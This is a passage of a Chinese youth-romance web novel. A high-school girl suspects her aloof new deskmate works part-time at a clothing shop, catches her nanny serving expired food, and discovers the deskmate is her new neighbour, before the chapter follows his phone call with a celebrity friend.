周静瑶愣住, 下一秒，双手叉腰, 仰天放声大笑，那豪放笑声宛如被人点了笑穴, 毫不夸张地说，隔壁街都能听到。 她直接笑出泪花, 一边狂笑，一边心想太绝了。 到底是谁传出来姜织宁很高冷？ 这不很逗！很幽默嘛！ 哎哟喂, 真的要给她笑死了。 “收收啊, 别疯笑了, 再笑小心路人投诉你扰民。”姜织宁推周静瑶一下, 眼神担忧看着她，“刚才散步经过的老大爷回头瞪你好几眼了, 我可吵不过他。” 周静瑶左手揉着笑到发痛的肚子, 右手叉腰，喘着气解释：“哈哈哈哈哈哈, 不是什么组织啊，你俩是校花校草，是同班同桌，而且各方面都很顶，All Kill嘛，所以简称双A组咯。” “哦” 听着奇奇怪怪。 提起柯译衍，因为某些原因，姜织宁今天没少暗中打量他。 踩着月光闲聊了一会儿后，姜织宁犹豫了下，然后看向周静瑶，突然问：“高中生兼职算童工吗？犯法吗？” “啊？”周静瑶正说到兴头上，被迫戛然而止，眼神疑惑回视，“你问这个干嘛？” “就好奇。” “你等会儿，我查下。” 周静瑶迅速拿出手机，查阅道：“这个网上说，只要不满十六周岁就算童工，按周岁算的话，那高一高二有可能算童工的，主要每个人年纪不一样。” “这样啊” 姜织宁若有所思，心里想，那柯译衍在EQUA兼职算不算违法呢？ “所以是谁？”周静瑶警觉地问。 姜织宁：“嗯？什么？” “就你刚问的兼职高中生是谁？” “” “从实招来，否则家法伺候啊。” 周静瑶按灭手机屏幕，一副“我们都认识多少年了，我还不知道你心里那点小九九”的自信表情。 确实，姜织宁是个不关心八卦，更不会主动打听八卦的人。 除了家人、蔡从周静瑶这种相处多年的固定好友，她对泛泛之友，以及和自己生活不相关的人并不感兴趣，从来不会主动去了解其他人的生活。 并不是她为人冷淡，只是单纯没那多心思。 每回都是周静瑶和她闲聊各种八卦，而姜织宁是个很有耐心的听众。 所以说，事出反常必有妖啊。 很少听见姜织宁主动提起外人，能让她主动，说明她在意。 在意，哎，那事情就有点意思了。 所以姜织宁突然这么一问，就搞得周静瑶非常感兴趣。 仔细想了想，好像也不是什么值得保密的事，姜织宁犹豫片刻后，语气慎重说：“我就是猜测，但八九不离十。” 周静瑶微微扬眉：“嗯，是谁？” “你别说出去啊。” 周静瑶老神在在点头：“知道了，是谁？” “就柯译衍，他好像在EQUA店里兼职。” “哈？？？” 掐指千算万算，没想到竟然是这位，周静瑶震惊瞪大眼，还没咽下喉咙的饮料差点喷出来。 “不是，你是怎么知道的？” 姜织宁叹了口气，把喝完的冰饮扔到路边垃圾桶里，一五一十地说：“我们昨天不是去EQUA定制衣服吗，服务我的那个男店员，就是柯译衍。” “啊？？？”周静瑶一脸吃惊，“所以，柯译衍就是你说的那位神笔马良、大佬下场、华佗附身，帮你修改画面的牛人？？？” “没错。”姜织宁点头，笃定讲，“我看他戴着EQUA的兼职工牌，那肯定是店里的兼职生。” “呃”周静瑶回忆了下，有点怀疑地说，“我记得，服务你那人脸上不是带着口罩吗，你确定是同一个人？会不会认错了啊？” 姜织宁再度点头，确定讲：“不会认错的，我今天一直在观察他。” “呃你不会光明正大盯着他看吧？？？”周静瑶有点窒息地问。 像姜织宁这样不会绕弯子，有话就说的直球少女，周静瑶十分肯定她能干出这种事。 “我傻啊，那肯定是暗中观察为主呀。”姜织宁摆摆手，自信补了句，“你放心，不会被发现的。” “哦，那就好。” 周静瑶对姜织宁的演技还是很放心的，虽然现在不演戏了，但好歹以前是童星出身。 受伤后，时而掉线的记忆力导致姜织宁偶尔会出现脸盲症状，但毕竟两人昨天才见过。 而且，柯译衍帮她修改的惊世大作实在让她印象深刻，如果可以的话，她甚至愿意给他送一面服务好、技术佳的感谢锦旗。 总而言之，就是对柯译衍有层好感滤镜在，所以当时在店里的时候，她多留心了他好几眼。 姜织宁属实没想到，今天会和他再见面，而且还是以同班同桌的身份见面。 其实一开始，她只是觉得眉眼的感觉很相似，尤其是少年的那双眼睛。 都是很薄的单眼皮，眼眸漆黑，宛如裹挟冰川的无边际黑色海洋，眼风格外冷静，蕴含着不容忽视的锐利锋芒。 后来暗暗观察中，姜织宁又发现，发型、脸部轮廓、身型、声线语调都没什么不同，甚至连左手虎口处的小痣都一摸一样。 除了他对她的态度。 就怎么说呢，如果没有对比的话感受不出来，一旦有了对比，就能意识到差别有多大。 昨天在店里的时候，尽管柯译衍自带冷酷气场，同她讲话也算不上多热情，但好歹彼此是服务关系，所以他全程服务很耐心很到位。 但今天么，两人关系突然转变为同桌，姜织宁就明显感觉到柯译衍在主动和她拉开距离，对她惜字如金，态度格外冷淡。 搞得她一度放空盯着窗外，专注陷入反思。 除了医院那次认错人，误骂柯译衍菜狗之外，以前她应该没有得罪过他吧？ 甚至还好好回忆了一遍，柯译衍之前有没有和她表白过，她有没有无情拒绝过。 不是姜织宁自恋，主要是，之前确实有那么几个自我感觉优越，结果表白被她拒绝后，整个人大破防，立马从喜欢变成讨厌，还会在背后传播她坏话的离谱男生。 很莫名其妙 周静瑶听完姜织宁的分析，立马追问：“这不就是千载难逢的缘分吗，那你们双A组相认没？！” 相认？ 相什么认 姜织宁一时无语。 说得好像她和柯译衍是有血缘关系，结果失散多年的家人一样 周静瑶也意识到形容不太对，很快换了种说法：“我的意思是，你们是双箭头还是单箭头？他知不知道你认出他？” 姜织宁摇头：“单箭头吧，他应该不知道我认出他，我没说也没问。” “对对对，做得好，这种个人隐私还是先别问，毕竟男生自尊心大过天。”周静瑶又说，“可是好奇怪啊，他为什么会在EQUA兼职？” “为了赚钱？”姜织宁猜测。 这种可能性最大，否则高中生干嘛出去兼职。 周静瑶嘶了声：“EQUA的兼职工资高吗？” 姜织宁：“我姑姑之前提过一嘴，好像蛮高的，其实从店员的颜值就能看出来，招来的都是帅哥美女。” 周静瑶总结：“那估计柯译衍家里条件不太好。” “也有可能是因为网球的原因。”姜织宁说。 “啊？”周静瑶不解。 姜织宁解释：“网球是商业化很高的运动项目，学网球很烧钱的，成本特别高，如果是往职业选手方向培养的话，更加烧钱。” “大多数普通家庭条件出生的人，在经济上根本吃不消这项运动，就算以后成为职业选手，一旦比赛成绩不好，个人世界排名靠后，没有什么赞助，那选手的经济负担就会很重，根本无法养活团队。” 以上这些，都是从她姑姑口中得知。 姜织宁从来没有关注过网球运动，今年年初的时候，姑姑和朋友一起报名了本地某个知名网球俱乐部的体验课，本来只是玩玩看的想法，但上了几节课后，姑姑意外觉得还不错，便坚持学到现在。 所以平常在家里，姜织宁偶尔会听姑姑闲聊起俱乐部里的事。 “这倒是，之前不是一直说，网球是贵族运动么。”周静瑶琢磨道，“可是，柯译衍晚自习一直在班里坐着呢，也没去球场训练啊，他应该不是体育生吧。” 姜织宁：“不是，但他应该会打网球，估计水平还挺好。” 周静瑶惊讶：“我去，这你都知道？” 姜织宁抿唇笑：“俞杨老是转过来和柯译衍聊球技，动不动就问这问那的，我就坐旁边嘛，想听不到都难，如果柯译衍水平不行的话，俞杨应该不会虚心求教吧。” “哦，好有道理。” 第16章 对面住了位大帅哥！ 姑姑新租的小区门口就是地铁站, 进入站台之前，周静瑶笑眯眯同姜织宁挥手告别。 “回家了啊，宁王拜拜, 回去再聊。” 姜织宁眉眼弯弯：“嗯，路上小心。” 两人分别, 姜织宁转身走向小区。 刷卡进小区大门，她止步, 扭头问保安：“请问36幢怎么走？” “36幢，我想想啊, 应该是这么走。”新来不久的保安想了下, 指挥道, “你往左拐到底，然后笔直走到大石头位置, 穿过健身器材区域，再往左拐几幢来着？哦, 应该是三四幢还是六七幢吧，这个距离差别不大, 你到时候自己看一下就行，然后右拐到便利店位置, 再直走一段路, 应该最后拐个小弯就到了。” 姜织宁：“” 她一脸茫然。 为什么这么复杂？ 完全记不住。 保安：“还有一种方式, 要不你” “嗯好, 我自己找一下吧。”姜织宁微笑打断保安，决定靠自己。 小区面积挺大, 环境安静, 绿化做得挺不错，沿路树木绿植高大繁茂, 遮挡住部分墙上的单元号码，路灯散发着颇有氛围感的橘黄色暖光，但光线并不明亮。 时间不早了，姜织宁独自走了好一会儿都没碰见个路人，想问路都没得问。 她不由叹气，抬头仔细辨认着墙上号码，走错好几条小路，最后还是问了半路偶遇的流浪猫，在猫猫大侠的带领下，她才顺利找到自己住的那幢楼。 乘电梯上楼，输入密码打开大门。 在厨房忙碌的保姆刘阿姨听到动静后，循声探出头，看到是姜织宁回来了，立马笑起来：“宁宝回来了。” 姜织宁放下书包纸袋，拉开书包拉链，拿出装中药的保温杯走进厨房。 刘阿姨看见她手里的杯子，立马说：“放水槽边上吧，我待会儿给你洗干净。” 保温杯放到桌上。 刘阿姨又讲：“姜小姐刚才给我打电话，说已经在回来的路上了。” 姜织宁点点头：“好，那我先回房间做作业了。” “哎等等，”刘阿姨打开冰箱，端出一个小碗递给姜织宁，笑着说，“特意给你做了冰镇酒酿圆子当夜宵，你端去房间里吃吧。” “谢谢阿姨。”她接过碗，拎上书包回房间。 房间里已经全部整理好，被姑姑布置得井井有条。 姜织宁打开衣柜，发现架子上挂的几件衣服好像都是姑姑新买的，以前没见过，她没多想，直接拿出新睡裙，去卫生间洗澡。 上晚自习时，已经把大部分科目作业解决掉，现在还剩下物理和英语试卷还没做完。 洗完澡，长发吹至半干后，姜织宁回房坐到书桌前，静下心来写物理试卷。 卷子快要写完成时，突然有点嘴馋起来，她抬眸扫了眼桌角处的酒酿圆子，两两相望数秒后，依然不太想吃，还是觉得零食最香。 最初胃口变大的时候，姜织宁不太习惯，总是刻意忍着，不断给自己洗脑忍住，很怕自己变成一位不健康的肥胖少女，毕竟她身为花季美少女，多多少少还是在乎形象的。 但很快，她就看开了，因为是真的饿，也是真的忍不住，而且她业余时间练舞运动量挺大的，体力消耗确实快。 如今，她已经可以心安理得告诉自己，人是铁饭是钢，吃饭不积极思想有问题，然后毫不在意地快乐奔向各种美食。 想到这，她干脆起身，走到外面去拿晚上买的芝士脆，顺势拐到厨房，打开冰箱，拿了罐水蜜桃酸奶。 正准备回去时，小腿不小心蹭倒垃圾桶，一部分垃圾洒了出来。 姜织宁止步，弯腰捡起距离最近的小汤圆包装袋，刚要扔进去，不经意瞄见包装袋上的生产日期，手上动作顿时停了下来。 刘阿姨在阳台晾晒好衣服，回来看到垃圾洒外面，立马对姜织宁说：“放着我来扫吧。” 姜织宁拿着包装袋起身，抬眸看向刘阿姨，语气迟疑地问：“阿姨，刚才那碗酒酿圆子里的小汤圆，是用这包做的吗？” 刘阿姨没察觉出这句话有什么奇怪之处，笑眯眯点头：“是呀，味道怎么样？” “过期了。”姜织宁平静说。 刘阿姨愣了下：“啊？” “这个汤圆，过期一年了。” 刘阿姨眼神发飘，张口结舌几秒后，脸色迅速恢复到自然状态，她故作吃惊拿过包装袋，检查说：“哎我看看，我看看啊，怎么会过期呢？我就在超市买的呀！” “生产日期在这里。”姜织宁好心指给她看。 “哦，我看看唉呀，还真过期了！这这这都怪我买的时候没注意看保质期！唉呀，谁会想到这样呢，那家超市老板太黑心了，回头我找他理论去！虽然是冷冻食品，但也不能过期了还卖给我们顾客啊，真的太黑心了！” 刘阿姨：“宁宝你说是不是？” 姜织宁：“” 怎么还反问起她了？ 刘阿姨情绪激动，在那边自言自语不停，反复指责超市老板黑心，一副自己不知情，上当受骗受害者的样子。 说得有理有据，但姜织宁总觉得她有一丝奇怪。 刘阿姨骂完超市老板，才想起关心姜织宁：“酒酿圆子你吃了吗？” 姜织宁摇头。 “哦哟，幸好没吃，那你赶紧拿出来倒掉吧！宁宝你别担心啊，阿姨以后一定会注意食品安全的，哎哟，你看这事搞的，这年头，居然还有这种黑心老板！阿姨也是倒了八辈子霉！” 姜织宁没说什么，将那碗酒酿圆子端出来，然后回房间做作业。 望着姜织宁离去的背影，刘萍面不改色挂着微笑，心中却十分懊恼。 这包小汤圆其实是刘萍从家里带过来的，刘萍一直有囤积食物的习惯，自己家的冰箱永远堆塞得满满当当，没有一丝隙缝，时间久了，她根本记不清哪些是新买的，哪些快要过期。 这包小汤圆夹藏在生肉堆里，已经放在冰箱冷冻区很久了，包装袋都破损了，刘萍费劲翻出来时，看过一眼保质期，知道过期的事。 只不过在她的观念里，这种冷冻食品如果没有过期太久，都可以放心吃，而且她也抱着侥幸心理，觉得姜织宁肯定不会发现，小姑娘又不会去翻垃圾桶咯。 刘萍哪能想到会冒出这种情况啊，居然被姜织宁发现过期了。 倒霉！ * 柯译衍洗完澡出来，头发还没擦几下，桌上手机突然响起来。 他放下毛巾，走过去接起电话，嗯了几声后挂断，是舅舅柯绍之打来的。 男人在电话里关心了下外甥最近的生活情况，挂电话前，提醒柯译衍别忘了去停车场，到车里把他朋友送来的钓鱼竿拿回家。 柯译衍找到车钥匙，拿着手机打开大门，按下直达地下停车场的电梯按钮。 车位就在电梯出口附近，柯译衍走出电梯，摁了下车钥匙，车灯随即亮起来，他径直走向舅舅的车。 钓鱼竿包斜放在车后排，他打开车门，弯下腰，将长条烟灰色竿包拎出来，刚要关上车门时，手机再度响起来。 俞杨打来的，说自己这会儿刚训练结束，快要累死了，接着抱怨了几句球不听使唤，很有自己想法的无聊口水话，最后不满质问柯译衍，怎么不回微信。 竿包立到车门边上，柯译衍锁好车门，站在原地困惑说：“不是回你了？” 俞杨立马嚷嚷起来：“放屁！麻烦你撒谎打下草稿行不行，你晾了我等下我看看啊，足足半个小时啊！哪里回了？回了个寂寞空气！” “以后洗澡、接电话都提前和你汇报一声，满意没？”柯译衍面无表情地说。 俞杨厚脸皮，捂脸浮夸惊呼：“嘤，你这样太暧昧了吧！那倒不用，这种特权留给你未来女朋友就行，俞老师无福消受。” 柯译衍懒得切回微信看他说什么，直接问：“少废话，什么事？” “就想问问你，今天晚自习布置了什么作业，是好兄弟的话就借我抄一下。” 服了，这人会不会独立行走啊？这种事还要来问他？ 柯译衍语气不耐回了句：“什么作业你不会自己看黑板？问我干什么。” 俞杨愣了愣，很不可思议地说：“我怎么看？我人在网球场，一双眼珠子却留在教室？这是什么人体科学奇迹，衍神你成绩好，教教我。” 柯译衍：“” “快点教我啊，我很虚心求教！”俞杨单手叉腰站起来，中气十足吼了句。 柯译衍：“” 吴瑞奇就坐俞杨旁边，本来训练完就身心俱疲了，脆弱着呢，结果被俞杨突然吼得心脏乱颤，吓了一大跳。 他怒视俞杨，忍不住骂道：“发神经啊你！” 柯译衍回忆片刻，冷淡说：“数学物理英语都是试卷，语文结合练习册预习，阅读名家作品，其他几门忘了，等会儿照片发你。” 他一边说，一边拎起竿包。 俞杨忙点头：“好好好，借我抄一下啊！” “还有什么事，没事挂了。” “行行行，微信说，咱们微信说。” 柯译衍挂掉电话，抬脚往回走，没走几步路，被人喊住。 “哎，同学——” 回新家之前，姜颖特意去超市大采购了一番，这会儿零食、水果堆满车后排和后备箱。 刚才柯译衍和俞杨讲电话的时候，姜颖一直埋头往小推车上搬东西，等她全部摆放完，直起身，正巧瞄见一位黑衣少年走过眼前。 本来想叫刘阿姨下来帮忙，结果电话打不通，姜颖及时叫住少年，笑着问他：“同学，你住几幢啊？” 柯译衍淡声说：“36。” “唉呀，那正好！”姜颖眼睛亮起来，立马说，“我也住36幢，今天刚搬过来，能不能麻烦你，帮阿姨拿一下零食到电梯里，东西实在太多了，这些零食不好压在水果上。” 闻言，柯译衍垂眸扫了眼年轻女人身旁的小推车。 小型的纯白色小推车，已经被快递盒、各种大小纸箱堆叠成令人惊叹，甚至想要拍照的夸张高楼状。 高楼最顶层放着水果，小推车显然已经被利用到了极致，地上还放着两大袋东西，袋子都是最大号，被撑满的状态。 柯译衍什么也没说，直接走到姜颖面前，问她：“要拿哪个？” “就这袋吧。”姜颖指了下装着瓶瓶罐罐的袋子，“推车我自己来，另一袋要么挂在推车上好了，就是不知道会不会——” 她话还没说完，就见少年单手利落拎起两个沉重的塑料袋。 姜颖愣了下，连忙说：“哎，两袋一起拿的话太重了！” 柯译衍：“没事，能拿。” “那真是辛苦你了啊同学。” 等电梯的时候，姜颖看向柯译衍，好奇问：“你是在附近上学？刚在停车场听你说起数学作业。” 柯译衍微微点头。 她追问：“江中吗？还是附中？” 柯译衍淡回：“江中。” “这么有缘啊，巧了，我家小朋友也在江中读书呢！”姜颖有些吃惊地说。 说话时，叮一声，电梯来了。 柯译衍快速走进电梯把东西放好，接着主动出来挡住电梯，同时帮姜颖把推车稳当推进电梯里。 原本姜颖已经觉得够巧了，没想到让少年帮忙按电梯按钮时，意外发现彼此居然是邻居，都住九楼。 这缘分，她忍不住笑起来。 她联想到当初过来看房，中介介绍说，这边是一梯两户的格局，对面邻居也是个高中生。 人就在附近的江洲中学读书，听说是学霸，成绩特别好，平常基本一个人住，家长很少过来，所以作息正常，绝对不会吵闹。 没想到，中介说的学霸邻居就是眼前这位少年。 想到这，姜颖忍不住暗暗打量起柯译衍。 她一边暗中观察，一边在心中感叹，这小孩不仅成绩好，还长得真帅哎，这不就是受到老天爷眷顾的基因彩票嘛。 电梯到达九楼，柯译衍帮忙到家，一路把袋子拎到姜颖家门口，才转身回对面自己家。 姜颖输密码拉开大门，站玄关换下细高跟，同时叫来刘阿姨，让她把门口东西全部拎进屋，然后互相商量着归置到哪里合适。 忙碌期间，姜颖把姜织宁从房间里叫出来。 先是告诉小姑娘买了些什么零食，都放在什么位置，然后递给她一个搭配好的精致竹编小果篮，让她现在送到对门邻居手里。 “现在吗？会不会太晚了？” 姜织宁咬着芝士脆，接过果篮，有些不解。 姜颖看侄女“咔嚓咔嚓！”一副吃很香的模样，也拿了根芝士脆咬起来，说：“不晚，他在停车场帮姑姑一起拿东西上来，刚回去不久，我买了这么多，幸亏碰到他帮忙。” 她冲姜织宁眨眨眼，抬手指了下大门，打趣讲：“我和你说啊，对面住了位大帅哥，小小年纪，又沉稳又有礼貌，还和你同校呢！” “之前听中介说，这大帅哥读书很厉害，近水楼台先得月，你去和人家认识认识，说不定以后学习上有帮助，姑姑看人很准，眼光不会出错的。” 姜织宁拿了颗草莓放进嘴里，好奇问：“帅哥邻居也读高二？” “这个忘记问了，你可以问问看。” 经过刚才帮忙一事，姜颖对柯译衍的初见印象非常好。 而姜织宁听到姑姑这么夸人，是有些意外的，忍不住心想，评价这么高的吗？ 她姑姑姜颖身材高挑纤瘦，长的明艳大气，早年学生时代也是光芒魅力四射，恃靓行凶，追求者无数，名气响当当的风云校花。 姑姑从高中开始就兼职模特工作，现在已经是时装品牌SVIEW的老板，在时尚行业工作这么久，早已阅男无数。 姜织宁知道姑姑一向眼光犀利，毒舌高傲，如果能让她夸奖长得帅，那说明是真的帅。 吃完手里的饼干，抽了张纸巾擦干净手，姜织宁领命干活，过去感谢好心邻居。 她随意换了双平底单鞋，打开大门，走到邻居门前，抬手按响门铃。 等待数秒，大门朝内打开。 一股熟悉的纯净冷调气息，伴随着室内冷气扑面而来，冷冽感穿透身体，姜织宁抬起眼睫望向对方。 下一秒，定在原地。 她微微睁大眼，愣怔迷茫看着柯译衍，柯译衍垂眸，沉默看着姜织宁。 彼此眼中同时闪过一丝惊讶。 走廊是声控灯，由于一时间两人谁也没说话，灯光自然熄灭。 周围瞬间陷入黑暗，唯有玄关处的头顶排灯散发出橙色暖光，照亮姜织宁周身。 父母去世后，姜织宁的衣食住行由姑姑亲手负责，日常服饰也全都是姑姑买单，她在这些方面不太挑，姑姑又品味在线，所以长辈买什么她就穿什么，几乎没有意见。 之前她穿的睡衣放在家里没带来，现在身上穿的是姑姑新买的睡裙，雪粉色，精致蕾丝边大圆领，俏皮小飞袖设计，很法式浪漫的小仙女风。 裙子大约到她膝盖位置，纤细匀润的手臂和小腿裸露在外，冷白肌肤在融融光晕里泛着浅淡光泽。 黑而亮的长发这会儿已经自然干晾了，姜织宁没去打理，便显得有些蓬松，就这么慵懒随性地披散在肩膀周围。 她手上提着装满水果的小竹篮，目光清凌凌，茫然地望着柯译衍。 少女这幅罕见的人畜无害清纯模样，特别像是不小心在森林中迷路的仙女。 空气中有一股甜甜的水蜜桃沐浴露气息，若有似无钻入鼻尖，柯译衍微微挪开目光，偏头轻咳了声。 心中困惑，这么晚了，她怎么会在这里？ 柯译衍朝对面看了眼，大门紧闭，黑漆漆一片。 他忽然想起来，刚才住对面的阿姨说今天刚搬过来，还说家里小朋友也在江中读书。 姜织宁今天才来学校报道，所以，比起什么都市深夜怪谈，柯译衍更相信姜织宁不是哪门子仙女或者女鬼，单纯只是他的新邻居而已。 “我和你说啊，我能住这边来很不容易的！” “我可是排除万难才过来的，本来经纪人死活不同意啊！” “反正柯总不在家，我们这么久没见面，我上你家住一晚怎么了？这么小气干嘛？” “喂喂，怎么没声了？” “你有没有在听我说话啊？” “人呢？人？” “柯大少爷？金主爸爸？” 唧唧歪歪吵死人。 柯译衍不由皱眉，对手机那头讲了句：“挂了，等下再说。” “你住对面？”他把手机放一边，脸上没什么表情地看着姜织宁，率先开口。 在问她有什么事之前，他想了想，为了保险起见，还是先确认下比较好，万一真在他家门口发生都市深夜怪谈，那也挺吓人，绝对要连夜搬家。 大脑持续当机，整个人定格住的姜织宁闻声眨了眨眼，回过神来。 看到开门的人居然是柯译衍，姜织宁心中实在太诧异，还以为自己走错门了。 期间，她光顾盯着他的脸走神，没注意别的，此时脑子反应过来，下意识从头到尾扫了他一眼。 少年黑簇簇的短发半湿着，因为刚才嫌弃发梢时不时滴水，他便不耐烦往脑后捋了把，以至于这会儿头发看上去高低不一，略显凌乱地支棱着、堆叠着。 无心插柳柳成荫，看上去像是刚做完又潮又酷的发型，意外帅气得很。 有股凌厉锐气，桀骜不驯的少年气。 他上半身穿了件深色宽松短袖，下面穿了条同色系的宽松运动裤，裤腰带一高一低随意垂坠着，一副居家松弛打扮。 所以这么巧，他也住这里？ 想到这，姜织宁微微弯唇，笑回：“对，今天刚搬过来，你呢，你也租这里？” 她话说的快，两个字的读音又差不多，柯译衍错把租听成了住，点了下头。 姜织宁：“哦，好巧。” “有事吗？”柯译衍语气并不热情地问，一副不想闲聊的冷淡态度。 姜织宁没说什么，直接把手中小竹篮递给他。 柯译衍瞄了眼竹篮，缓缓挑眉。 她说：“给你的。” 柯译衍以为是新邻居过来送见面礼，就没接，淡声回绝：“谢谢，不用。” 姜织宁也会错意，误以为他还活在晚自习巧克力有毒的阴影中，于是语气真诚地说：“新鲜有机，绝对没毒。” 有机是编的，反正肯定没毒。 柯译衍平静看着她。 他也太谨慎了吧，都说了没毒啊，姜织宁叹了口气，又往少年身前递了递，补充讲：“真没毒，姑姑让我送的，说感谢你刚才帮忙拎袋子。” 她态度坚持，一幅不送出手就坚决不走的模样，柯译衍不想为了这点小事，站门口无聊推来推去，这回就没多想，毫不犹豫地接过来。 柯译衍：“嗯，谢谢。” 姜织宁：“？” 手上突然一空，姜织宁原本以为送不出去了，结果打算放弃的前一秒，人又给她拿走了。 哦，姑姑送的他就收，她送的他就不收。 这是在干嘛？ 要不要这么区别对待啊？ 姜织宁嘴唇轻抿，安静盯着柯译衍，目光有些复杂。 柯译衍：“” 她这眼神转变的柯译衍突然觉得，手里的竹篮有点烫手。 拿不行，不拿也不行，什么意思，他到底拿不拿？ 感受到少女不太友善的深渊凝视，一时之间，柯译衍也搞不懂她是什么意思，他垂眸瞄了眼水果，心中犹豫着，要不还给她算了？ 他沉默辨别了一会儿姜织宁脸色，主动问：“还有事吗？” “没事。”姜织宁语气淡淡。 通常来说，下一秒柯译衍就直接关门了。 但碍于眼下这种凝固气氛，他破天荒地多说了句：“那我关门了。” “哦，拜拜。” 门拉上，四周瞬间陷入无边黑暗，姜织宁刚转过身，背后快要掩上的大门突然再次打开，室内敞亮光线瞬间铺到走廊上。 光束越过她身体，照亮脚下的路。 她转身望去，大门完全敞开，不像刚才，只疏离打开一小部分。 柯译衍走出来，替她按亮走廊声控灯，然后下巴微抬，朝对面指了下，语气平淡说：“回吧，你进门后我再关门。” 柯译衍懒散抱臂靠在玄关处，亲眼确认姜织宁输密码进门后，才起身去关门。 门关上，他拿起刚才随手放在玄关柜上的手机，翻转到屏幕那面，顿时无语住。 竟然还在通话中，韩辰没挂断电话，一直在偷听。 发什么神经？ 手机放到耳边，柯译衍冷声质问：“想干什么？” “我可听到了啊，绝对是年轻女生的声音！！！”韩辰嘿嘿贼笑，八卦打听，“谁啊？谁住你对面呢？这大晚上的，亲自给你送什么来了？” “和你有什么关系？”柯译衍走进书房，坐到书桌前，将手机扔到桌上，点开免提，刻薄地说，“大明星不是应该很忙么，你这么有闲心关心别人，是不是要凉了。” 韩辰刚刚结束广告拍摄行程，这会儿悠闲坐在保姆车里准备回家，一听到柯译衍问他是不是要凉，忍不住翻了个白眼。 “不是，你柯大少爷能盼点我的好吗？？？” “我要是凉了，对EQUA有什么好处啊？” “没事啊。”柯译衍指尖夹着笔，慢悠悠翻过一页教辅书，无情回了句，“EQUA可以换人，随时。” 韩辰：“” 沉默数秒后，韩辰懂事滑跪：“别，金主爸爸我错了。” 说完，他又意味深长补了句：“反正我也不着急，毕竟明天就搬过来了，大家都是邻居嘛，到时候我上楼拜访一下人家，哎，这不就认识了吗。” 在电话瞎嚷嚷的韩辰，就是于佳喜欢的那位男明星，韩辰是季嘉娱乐的签约艺人，童星出道，过去出演过几部影视作品，还是EQUA的签约模特，目前就读于附中高二。 虽然是艺人身份，日常演艺工作也很忙碌，但韩辰在文化成绩上也是有野心的，他可不想到时候自己的高考成绩被网友们反复鞭尸嘲讽。 所以为了读书方便，他和经纪人申请，想搬到柯译衍住的这个小区，说这边既离学校近，能经常到柯译衍家玩，还能顺便找柯译衍帮他补习文化课。 最初经纪人并不同意，觉得韩辰是公众人物，不需要像普通学生一样天天去学校上课，如果想补习，公司也可以给他找外面的老师来上课。 但韩辰父母也希望高考之前，经纪公司尽可能减少演艺工作，多留出时间学习，以及留给韩辰非常渴望的正常高中校园生活。 几方商议之后，经纪人终于松口，韩辰便第一时间租到柯译衍楼下，直接豪气租下8楼两户，这样一整层都是他的私人空间。 你说这人是不是有什么大病？ 反正柯译衍是这么想的。 至于找他补习文化课，那就更离谱了，柯译衍得知韩辰的想法后，整个人相当费解，脑子里想的是—— 他闲的？ 还找他补习，他是什么牛马吗？ 一想到这，柯译衍就开始后悔回江洲读书。 对面的人，楼下的人，球场上的人，全都让他很心烦。 尤其是对面新搬来的邻居。 他本以为，昨天在EQUA店里碰见姜织宁已经很不凑巧了，可谁知道，紧跟着又是同桌又是对门邻居，一连串的不凑巧，急不可耐地等着他。 柯译衍换了个话题，对韩辰说：“用你的公德心认真想一想，有没有想过，你那群粉丝说不定也会跟过来蹲点？” “我没粉丝，还透心凉，你说的。”韩辰面无表情回道。 柯译衍不由挑眉：“我说什么话你都同意？” “对啊，毕竟你是尊贵的金主爸爸。” “哦，那你别来啊。” 韩辰一口拒绝：“那不可能的，劝你趁早死了这条心。” 柯译衍懒得劝了，淡声说：“行，你别后悔。” 韩辰语气警惕：“什么意思啊？” “刚才你不是问我对面住的谁。”柯译衍波澜不惊地说。 “是啊，怎么了？” “姜织宁。” “啊？？？”韩辰愣住。 柯译衍的耳边除了有俞杨经常主动提起姜织宁，还有一个人，也会在他面前时不时提一嘴姜织宁，这个人就是韩辰。 两人都是童星出身，又是同龄高中生，过去还有一层幼儿园同学的关系，所以韩辰私下会去关注姜织宁的动态也没什么好奇怪。 由于小时候产生的心理阴影，导致韩辰对姜织宁的印象一直不太好。 他是有点怕姜织宁的。 所以很多时候，他提起姜织宁都没什么好话，还老对柯译衍说姜织宁很可怕，特别特别凶，小时候打过他，疼得要死！ 说的次数多了，柯译衍自然就懂了，原来姜织宁是韩辰的克星。 果然，韩辰一听到姜织宁三个字，瞬间不吭声了。 死一般的沉默。 好半天过去，呼吸窒住，后背僵硬的韩辰才费劲憋出几个字，语气极其小心翼翼，充满尊敬地说：“姜姜老师啊？” 啊呸，不对，姜老师早就退圈了。 韩辰身体放轻松，换了种称呼：“我那幼儿园同学，姜织宁啊？” 柯译衍淡淡嗯了声。 “她怎么来了啊？？？你之前不是说对面没人住吗？！”韩辰震惊地高声嚷嚷，一副一山不容二虎的态度。 “怎么，这小区都是你家吗？你能来，她就不能来？”柯译衍唇角微挑，心情不错地说，“怕了啊，那赶紧搬走，趁早。” 韩辰很不服气，凭什么走的是他？ 姜织宁就姜织宁呗，反正是楼上楼下，又不会经常碰见， 再说了，他又不会天天住这边，他工作很忙的好吗！ 憋了憋，韩辰气势不足地说：“逃避无用且可耻！我租金都交了，行李都运过去了，就来！” 柯译衍没搭理他。 明天就要开启新生活了，韩辰情绪难免亢奋，他表完坚决要搬过来的决心后，又开始啰里八嗦说起别的事，也没在意柯译衍有没有在听，毕竟他知道柯译衍一心二用的本事很厉害。 柯译衍当然没听韩辰废话。 他顾自专心看完两门科目的教辅书，然后拿起桌上平板，连上蓝牙音箱，打开音乐app，想找个纯音乐歌单放松一下。 点开app，下一秒，屏幕上跳出某个视频网站的开屏广告—— 佳影重映，悦视TV邀您观赏经典电影《记忆》。 柯译衍：“” 让他心烦的新邻居姜织宁，赫然出现在眼前。 确切来说，应该是小朋友时期的姜织宁，海报里的她身穿病服，被饰演妈妈的女主演抱在怀里。 这算什么，越是不想看到的人，越会无孔不入出现在眼前？ 柯译衍皱眉关掉广告，瞄见导航栏的私信图标显示着999+的红字提醒。 手指倏地顿住，他再次陷入沉默。 他看了眼账号名，又瞥了眼涨势越来越离谱的粉丝量，反应过来登错帐号了。 情绪不免有点烦躁起来。 明明是使用多年的私人听歌账号，却因为某些莫名其妙的原因，逼得他不得不弃用，只能重新注册小号，然后用小号关注大号，为了方便收藏大号里创建的那些歌单。 啧，麻烦。 999+的红字提醒实在太碍眼，柯译衍随手点进去，敷衍滑看，乱七八糟的私信一大堆，说什么的都有。 面无表情查看了一会儿私信后，他无语退出账号，转而重新登录小号。 